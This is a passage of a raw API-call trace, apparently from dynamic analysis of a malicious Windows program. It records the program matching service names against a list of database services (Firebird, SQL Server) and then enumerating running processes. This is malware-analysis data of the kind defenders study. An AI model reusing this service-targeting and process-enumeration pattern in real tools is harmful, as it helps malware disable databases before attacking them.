[0138.614] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0138.614] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0138.614] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0138.614] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0138.614] lstrlenW (lpString="LanmanServer") returned 12 [0138.614] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0138.614] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0138.614] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0138.614] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0138.614] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0138.614] lstrlenW (lpString="LanmanWorkstation") returned 17 [0138.614] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0138.614] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0138.614] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0138.614] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0138.614] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0138.614] lstrlenW (lpString="lfsvc") returned 5 [0138.614] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0138.614] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0138.614] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0138.614] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0138.614] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0138.614] lstrlenW (lpString="lmhosts") returned 7 [0138.614] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0138.614] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0138.614] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0138.614] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0138.615] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0138.615] lstrlenW (lpString="LSM") returned 3 [0138.615] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0138.615] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0138.615] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0138.615] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0138.615] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0138.615] lstrlenW (lpString="MpsSvc") returned 6 [0138.615] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0138.615] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0138.615] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0138.615] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0138.615] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0138.615] lstrlenW (lpString="NcbService") returned 10 [0138.615] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0138.615] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0138.615] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0138.615] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0138.615] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0138.615] lstrlenW (lpString="netprofm") returned 8 [0138.615] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0138.615] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0138.615] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0138.615] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0138.615] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0138.615] lstrlenW (lpString="NgcSvc") returned 6 [0138.615] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0138.615] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0138.615] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0138.615] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0138.616] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0138.616] lstrlenW (lpString="NlaSvc") returned 6 [0138.616] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0138.616] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0138.616] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0138.616] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0138.616] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0138.616] lstrlenW (lpString="nsi") returned 3 [0138.616] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0138.616] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0138.616] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0138.616] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0138.616] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0138.616] lstrlenW (lpString="PcaSvc") returned 6 [0138.616] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0138.616] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0138.616] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0138.616] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0138.616] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0138.616] lstrlenW (lpString="PlugPlay") returned 8 [0138.616] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0138.616] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0138.616] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0138.616] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0138.616] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0138.616] lstrlenW (lpString="Power") returned 5 [0138.616] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0138.616] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0138.616] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0138.616] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0138.616] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0138.616] lstrlenW (lpString="ProfSvc") returned 7 [0138.616] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0138.616] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0138.616] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0138.616] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0138.617] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0138.617] lstrlenW (lpString="RpcEptMapper") returned 12 [0138.617] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0138.617] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0138.617] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0138.617] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0138.617] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0138.617] lstrlenW (lpString="RpcSs") returned 5 [0138.617] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0138.617] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0138.617] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0138.617] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0138.617] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0138.617] lstrlenW (lpString="SamSs") returned 5 [0138.617] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0138.617] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0138.617] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0138.617] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0138.617] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0138.617] lstrlenW (lpString="Schedule") returned 8 [0138.617] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0138.617] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0138.617] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0138.617] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0138.617] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0138.617] lstrlenW (lpString="SecurityHealthService") returned 21 [0138.617] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0138.617] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0138.617] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0138.617] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0138.617] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0138.617] lstrlenW (lpString="SENS") returned 4 [0138.617] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0138.617] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0138.617] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0138.617] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0138.618] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0138.618] lstrlenW (lpString="ShellHWDetection") returned 16 [0138.618] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0138.618] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0138.618] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0138.618] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0138.618] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0138.618] lstrlenW (lpString="Spooler") returned 7 [0138.618] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0138.618] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0138.618] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0138.618] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0138.618] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0138.618] lstrlenW (lpString="StateRepository") returned 15 [0138.618] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0138.618] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0138.618] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0138.618] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0138.618] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0138.618] lstrlenW (lpString="SysMain") returned 7 [0138.618] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0138.618] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0138.618] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0138.618] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0138.618] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0138.618] lstrlenW (lpString="SystemEventsBroker") returned 18 [0138.618] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0138.618] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0138.618] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0138.618] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0138.618] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0138.618] lstrlenW (lpString="Themes") returned 6 [0138.618] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0138.618] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0138.618] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0138.618] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0138.619] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0138.619] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0138.619] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0138.619] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0138.619] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0138.619] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0138.619] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x448dfd8 | out: hHeap=0x510000) returned 1 [0138.619] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x508 [0138.622] Process32FirstW (in: hSnapshot=0x508, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0138.622] Process32NextW (in: hSnapshot=0x508, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0138.623] lstrlenW (lpString="System") returned 6 [0138.623] Process32NextW (in: hSnapshot=0x508, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0138.624] lstrlenW (lpString="smss.exe") returned 8 [0138.624] Process32NextW (in: hSnapshot=0x508, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0138.624] lstrlenW (lpString="csrss.exe") returned 9 [0138.625] Process32NextW (in: hSnapshot=0x508, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0138.625] lstrlenW (lpString="wininit.exe") returned 11 [0138.625] Process32NextW (in: hSnapshot=0x508, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0138.626] lstrlenW (lpString="csrss.exe") returned 9 [0138.626] Process32NextW (in: hSnapshot=0x508, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0138.627] lstrlenW (lpString="winlogon.exe") returned 12 [0138.627] Process32NextW (in: hSnapshot=0x508, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0138.627] lstrlenW (lpString="services.exe") returned 12 [0138.627] Process32NextW (in: hSnapshot=0x508, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0138.628] lstrlenW (lpString="lsass.exe") returned 9 [0138.628] Process32NextW (in: hSnapshot=0x508, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0138.629] lstrlenW (lpString="svchost.exe") returned 11 [0138.629] Process32NextW (in: hSnapshot=0x508, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0138.878] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0138.878] Process32NextW (in: hSnapshot=0x508, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0138.879] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0138.879] Process32NextW (in: hSnapshot=0x508, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0138.880] lstrlenW (lpString="svchost.exe") returned 11 [0138.880] Process32NextW (in: hSnapshot=0x508, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x388, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0138.881] lstrlenW (lpString="dwm.exe") returned 7 [0138.881] Process32NextW (in: hSnapshot=0x508, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0138.882] lstrlenW (lpString="svchost.exe") returned 11 [0138.882] Process32NextW (in: hSnapshot=0x508, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0138.883] lstrlenW (lpString="svchost.exe") returned 11 [0138.883] Process32NextW (in: hSnapshot=0x508, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0138.883] lstrlenW (lpString="svchost.exe") returned 11 [0138.883] Process32NextW (in: hSnapshot=0x508, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3b, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0138.884] lstrlenW (lpString="svchost.exe") returned 11 [0138.884] Process32NextW (in: hSnapshot=0x508, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0138.885] lstrlenW (lpString="svchost.exe") returned 11 [0138.885] Process32NextW (in: hSnapshot=0x508, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0138.886] lstrlenW (lpString="svchost.exe") returned 11 [0138.886] Process32NextW (in: hSnapshot=0x508, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0138.886] lstrlenW (lpString="svchost.exe") returned 11 [0138.886] Process32NextW (in: hSnapshot=0x508, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0138.887] lstrlenW (lpString="svchost.exe") returned 11 [0138.887] Process32NextW (in: hSnapshot=0x508, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0138.888] lstrlenW (lpString="svchost.exe") returned 11 [0138.888] Process32NextW (in: hSnapshot=0x508, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0138.889] lstrlenW (lpString="svchost.exe") returned 11 [0138.889] Process32NextW (in: hSnapshot=0x508, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0138.889] lstrlenW (lpString="spoolsv.exe") returned 11 [0138.890] Process32NextW (in: hSnapshot=0x508, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x668, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0138.890] lstrlenW (lpString="svchost.exe") returned 11 [0138.890] Process32NextW (in: hSnapshot=0x508, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0138.891] lstrlenW (lpString="audiodg.exe") returned 11 [0138.891] Process32NextW (in: hSnapshot=0x508, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0138.892] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0138.892] Process32NextW (in: hSnapshot=0x508, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x724, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0138.892] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0138.892] Process32NextW (in: hSnapshot=0x508, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0138.893] lstrlenW (lpString="Memory Compression") returned 18 [0138.893] Process32NextW (in: hSnapshot=0x508, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x82c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0138.894] lstrlenW (lpString="sihost.exe") returned 10 [0138.894] Process32NextW (in: hSnapshot=0x508, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0138.894] lstrlenW (lpString="svchost.exe") returned 11 [0138.894] Process32NextW (in: hSnapshot=0x508, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0138.895] lstrlenW (lpString="taskhostw.exe") returned 13 [0138.895] Process32NextW (in: hSnapshot=0x508, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x1a0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0138.934] lstrlenW (lpString="msoia.exe") returned 9 [0138.934] Process32NextW (in: hSnapshot=0x508, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x49, th32ParentProcessID=0x9b0, pcPriClassBase=8, dwFlags=0x0, 